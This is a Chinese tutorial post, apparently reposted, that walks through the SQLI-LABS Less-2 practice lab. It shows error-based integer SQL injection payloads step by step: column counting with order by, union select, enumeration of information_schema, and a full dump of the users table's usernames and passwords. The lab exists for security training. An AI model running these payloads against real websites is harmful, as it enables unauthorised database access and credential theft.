SQLI-LABS(Less-2)

Less-2(GET-Error based-Intiger based)

打开 Less-2页面,可以看到页面中间有一句 Please input the ID as parameter with numeric value,那么先使用 ID这个参数通过 GET方式传入一个数值。

SQLI-LABS(Less-2)

确定注入点

注入语句: ?id=1

SQLI-LABS(Less-2)

可以看出传入 id=1可以正常回显,那么试一下 ?id=1',发现在 引号附近产生了歧义导致报错,并且可以看出这条SQL语句是不用引号闭合的。

SQLI-LABS(Less-2)

接着尝试注入语句 ?id=1 and 1=1 --+?id=1 and 1=2 --+,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。

SQLI-LABS(Less-2)

判断数据表列数

通过 order by判断该表的字段数量( order by语句用于根据指定的列对结果集进行排序),URL后面拼接 ?id=1 order by 1 --+看是否报错:

SQLI-LABS(Less-2)

当尝试到 ?id=1 order by 4 --+时,出现了报错,由此可以判断该表只有3列。

SQLI-LABS(Less-2)

确定回显字段

注入语句: ?id=1 and 1=2 union select 1,2,3 --+

SQLI-LABS(Less-2)
这里使用 and 1=2是为了让 union之前的语句为假,从而不回显在前端页面。这样结合 union之后的语句就可以通过前端页面的回显知道前端页面显示的是数据表的第几列。

确定当前数据库名和用户

从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数: user()(查看当前用户)、 database()(查看当前数据库)、 version()(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句: ?id=1 and 1=2 union select 1,database(),user() --+

SQLI-LABS(Less-2)
通过上述注入可以得知,当前数据库名为 security,当前用户为 root

确定当前数据库内表名

注入语句: ?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

SQLI-LABS(Less-2)
通过上述注入可以得知当前数据库中存在 emailsreferersuagentsusers四张数据表。

确定users表中列名

注入语句: ?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+

SQLI-LABS(Less-2)
通过上述注入可以得知 users表中存在三列,分别为 idusernamepassword

确定users表中的用户名和密码

注入语句: ?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from users --+

SQLI-LABS(Less-2)

至此,就得到了当前表中所有的用户名和密码。

Original: https://www.cnblogs.com/Timesi/p/16657080.html
Author: 顾北清
Title: SQLI-LABS(Less-2)

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578219/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 五、用户管理

    id root查看用户uiduid 0管理员uid 1-999系统账号uid 1000-60000普通账号gid 0 管理组gid 1-999 系统组gid 1000-60000 …

    Linux 2023年6月7日
    080
  • MySQL主从复制的原理和实现

    垂直扩展: 横向扩展: 复制:使每一个节点都有相同的数据集 MySQL复制的实现:使用二进制日志来实现 提高性能(负载均衡)、 实现读写分离 实现数据备份的功能(实时备份) 高可用…

    Linux 2023年6月7日
    0101
  • 接口压测提示redis获取不到连接数,出现timeout waiting for idle object异常问题定位

    博客园 :当前访问的博文已被密码保护 请输入阅读密码: Original: https://www.cnblogs.com/qmfsun/p/11583355.htmlAuthor…

    Linux 2023年5月28日
    092
  • 【深度学习】RuntimeError: Expected all tensors to be on the same device, but found at least two devices, cuda:0 and cpu!

    报错代码: if __name__ == ‘__main__’: model = Perception(2, 3, 2).cuda() input = torch.randn(4,…

    Linux 2023年6月13日
    092
  • nodejs调用shell

    shelljs https://github.com/shelljs/shelljs 实例 var shell = require(‘shelljs’); if (!shell.w…

    Linux 2023年5月28日
    0103
  • 【Example】C++ 接口概念讲解及例子演示

    C++ 和 Java 不同的是,C++ 没有 interface 关键字。对于很多新手来说,C++ 当中接口的概念不容易像 Java 当中那样被理解。 然而接口是面向对象编程当中的…

    Linux 2023年6月13日
    094
  • Linux 查看运行中进程的 umask

    线上某台虚机因为故障重装了系统(基线 CentOS 6.9 内核 2.6.x),重新部署了应用。这个应用会生成一个文件,到NFS挂载目录。 而这个 NFS 挂载目录是一个 FTP …

    Linux 2023年6月14日
    093
  • k4t系统架构 & 部署最佳实践

    《kaiiit船长》 容器自动管理软件 (k4t,国产k8s) k4t系统架构 & 部署最佳实践 文档修订时间: 2021-11-20 关键词 : k4t kaiiit 船…

    Linux 2023年6月13日
    0106
  • NJU软件分析笔记(1)

    课程链接本次课程主要内容 Compilers and Static Analyzers AST vs. IR IR: Three-Address Code (3AC) 3AC in…

    Linux 2023年6月8日
    0116
  • 整理常用的 vim 命令

    vim 是一款功能强大的文本编辑器,它是Linux下常用的编辑器之一,对于熟练掌握了 vim 的人来说,用它编辑文件,方便又快捷,能极大的提高工作效率 vim 功能强大,对应的命令…

    Linux 2023年6月13日
    0109
  • 最小生成树-Kruskal算法

    与 Prim算法贪心选择不同,Kruskal算法采取 每次选择权值最小的边的方法,这样,在 不构成环且最后能够连接完所有边它们的权重和一定是最小的。 和之前Prim算法的图一样,便…

    Linux 2023年6月7日
    0117
  • 【设计模式】Java设计模式-外观模式

    Java设计模式 – 外观模式 😄 不断学习才是王道🔥 继续踏上学习之路,学之分享笔记👊 总有一天我也能像各位大佬一样🏆原创作品,更多关注我CSDN: 一个有梦有戏的人…

    Linux 2023年6月6日
    0154
  • 1. 斐波那契数 爬楼梯 使用最少花费爬楼梯

    版本一:一维数组记录型 class Solution { public: int fib(int n) { if(n dp(n+1); dp[0] = 0; dp[1] = 1; …

    Linux 2023年6月6日
    0100
  • 这几天的杂学

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    095
  • 源码安装Nginx以及用systemctl管理

    一、源码安装Nginx: 下载 nginx软件包 进入nginx-1.20.1目录 安装依赖 /configure软件检查( ./configure–prefix=/u…

    Linux 2023年6月13日
    093
  • Jenkins 内置变量

    BRANCH_NAME 对于多分支项目,这将设置为正在构建的分支的名称,例如,如果您希望master从功能分支而不是从功能分支部署到生产;如果对应于某种更改请求,则名称通常是任意的…

    Linux 2023年5月27日
    0103
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球